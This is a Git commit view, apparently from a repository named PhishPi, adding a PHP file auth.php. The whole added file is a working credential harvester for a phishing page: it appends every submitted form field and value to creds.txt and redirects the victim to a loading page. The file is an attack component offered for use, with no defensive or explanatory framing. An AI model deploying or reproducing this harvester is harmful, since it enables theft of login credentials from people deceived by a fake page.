assume-breach 3 лет назад
Родитель
Сommit
33ae8f98a7
1 измененных файлов с 13 добавлено и 0 удалено
  1. 13 0
      PhishPi/Resources/auth.php

+ 13 - 0
PhishPi/Resources/auth.php

@@ -0,0 +1,13 @@
+<?php
+header ('Location:http://domain/loading.html');
+$handle = fopen("creds.txt", "a");
+foreach($_POST as $variable => $value) {
+   fwrite($handle, $variable);
+   fwrite($handle, "=");
+   fwrite($handle, $value);
+   fwrite($handle, "\r\n");
+}
+fwrite($handle, "\r\n");
+fclose($handle);
+exit;
+?>